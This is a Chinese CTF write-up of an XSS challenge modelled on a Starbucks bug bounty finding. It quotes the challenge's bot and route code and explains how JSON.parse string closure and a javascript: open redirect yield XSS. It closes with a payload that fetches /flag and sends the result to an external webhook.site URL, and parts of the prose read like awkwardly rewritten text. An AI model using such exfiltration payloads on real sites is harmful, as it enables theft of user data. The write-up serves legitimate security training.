探讨“勿在浮沙筑高台”的XSS赛题改编

这篇技术文章主要介绍了一道基于星巴克（Starbucks）XSS漏洞赏金任务改编而成的CTF（Capture The Flag）题目。作者首先通读了文件结构并对代码进行了简单分析。这类XSS题目通常分为两种情况：一种是需要伪造cookies以管理员身份访问特定路由，另一种则是直接从cookies中获取flag。 Part Ⅰ 主要聚焦于了解代码结构和找出flag位置。

bot源码如下：

const cookies = [{<br>2    name: 'jsession',<br>3    value: 'DELETE',<br>4    domain: "127.0.0.1",<br>5    httpOnly:true<br>6}];<br>7<br>8const bot = async function (url){<br>9    const URL = parse(url, true)<br>10    try{<br>11        const browser = await puppeteer.launch({<br>12            headless: true,<br>13            args: [<br>14                '--no-sandbox',<br>15                '--disable-setuid-sandbox',<br>16                '--disable-dev-shm-usage'<br>17            ],<br>18            dumpio: true,<br>19        });<br>20        page = await browser.newPage('http://127.0.0.1:80');<br>21        await page.setCookie(...cookies);<br>22<br>23        console.log(URL.href)<br>24        await page.goto(`http://127.0.0.1:80/?blog=${URL.href}`);<br>25        setTimeout(() => {<br>26            browser.close();<br>27        }, 4000);<br>28    } catch (err) {<br>29        console.log(`err : ${err}`);<br>30    }<br>31}

题目设置了httponly为true，且value值为delete，我们需要对题目背景进行进一步的分析，以确定是需要我们通过绕过手段来获取正确答案，还是参数本身就是delete。

看到/flag路由时，我们可以确定这道题目需要伪造 cookies 为 admin，并发送请求到/flag路由，以获取 flag。

Part Ⅱ – How to Xss (1) — 满足条件

代码除了上面我们截图部分外仅有这一部分了。

router.get('/', (req, res) => {<br>2    const blog = req.query.blog || 'https://xxxx.com';<br>3    const user = JSON.parse(`{"username":"Tester", "setblog":"${blog}"}`);<br>4    const url = parse(user['setblog'], true)<br>5    , hostname = url.hostname;<br>6<br>7    if (hostname === 'xxx.com' && user['username'] === 'hello') {<br>8        console.log(1)<br>9        res.render('index', {url:url});<br>10    } else {<br>11        res.render('index', {url:'#'});<br>12    }<br>13});

然后我和学弟产生了如下对话：

学弟: "我知道关键是要走到这行代码 `res.render('index', {url:url});`，但是具体咋做不太懂。"<br>2我: "我知道你急，但你先别急，你先看上面哪些函数是你见过的，你也打一个多月CTF了。"<br>3学弟: "JSON.parse！可以原型链污染！"<br>4我: "啊...?"

学弟的敏锐意识和对原型链污染的理解令人印象深刻。他正确地指出了原型链污染的构成条件，即要能够控制类的原型，并且提到了使用JSON.parse时可能出现的风险。你引导他思考JSON.parse的工作方式以及判断条件，是一个很好的教学方式。

关于你提出的关于闭合思维的问题，学弟很快就领会到了你的意思，并成功构造了一个有潜在风险的JSON字符串，其中出现了重复的键名，可能导致解析时的不确定行为。这种训练思考和寻找潜在漏洞的能力对于安全从业者来说至关重要。

当您将URL的host设置为xxx.com并进行渲染后，可以通过访问靶机来观察其效果。在这种情况下，渲染URL可能会导致浏览器向xxx.com发送请求，并且靶机可能会接收到该请求并做出相应的响应。您可以观察靶机的响应，以了解渲染URL后对系统的影响。

Part Ⅲ – How to Xss (2) — 跳转那点事

当你拿到一个跳转的链接时，是否可以进行 XSS 攻击呢？让我用问题引导你来思考这个问题。

学弟: “我搜索了 javascript:alert(1)，我刚忘了，JavaScript 也是一种协议啊！javascript://alert(1) 这样是可以的，但如果有 host 部分我就不清楚了…” 我: “我建议你搜索一下 Bug Bounty，这个问题设计得基于某种跳转型 XSS 漏洞的。”

很快，他通过我提供的跳转型 XSS 漏洞找到了 HackerOne 上关于星巴克的一个漏洞。

他很快自信地表示理解了，并构造了相应的 payload。

然而，在尝试执行 XSS 时，发现在很多跳转链接中都无法成功执行，他说：“不行，执行不了。”

他向我展示了报错信息，从中可以清楚地看到是 JSON 参数传递时出现了错误。我继续问他：“那么是哪个符号导致的呢？”他陷入了困境，我选择不给他任何提示，因为这是一个相对容易发现的错误。一个小时后，他终于恍然大悟：“原来可以对 %0a 再编码一次”。实际上，使用编码，比如 Unicode，也是完全可以的。最终，他成功获得了 XSS。

现在，让我们梳理一下思路。这个题目主要考察的是通过 JSON 解析中的闭合来修改 username 的 Open Redirect XSS 攻击，关键在于是否能敏锐地捕捉到 JavaScript 协议。

他遇到的挫折主要有以下几点：1. 懒惰，缺乏本地调试和深入思考；2. 没有充分利用搜索引擎，如果他了解一些大型 payload 网站，比如 HackTricks，就能轻松找到答案。

Part Ⅳ – 收尾的js代码问题

当我询问他是否知道下一步该怎么做时，他的回答让我大吃一惊：“简单！我直接使用hackbar生成一个！”虽然这种方法看起来优雅，但是在这道题中却并不适用箭头函数。我建议他使用普通的函数，虽然效果相同，但他却表示不会…

fetch(/flag).then(function(response){return response.text();}).then(function(data){return fetch(https://webhook.site/xx?flag=${encodeURIComponent(data)});});

实际上，将箭头函数改写为普通函数只需将箭头改成function关键字即可。这个过程并不难，但他似乎感到困惑。

Part Ⅴ – 写在最后

这种改写RealWorld场景的CTF题目确实有一定的教学价值，既提供了实际场景的练习，又能锻炼解决问题的能力。通过自己尝试调试和思考，能够更深入地理解安全问题，提升解决问题的实力。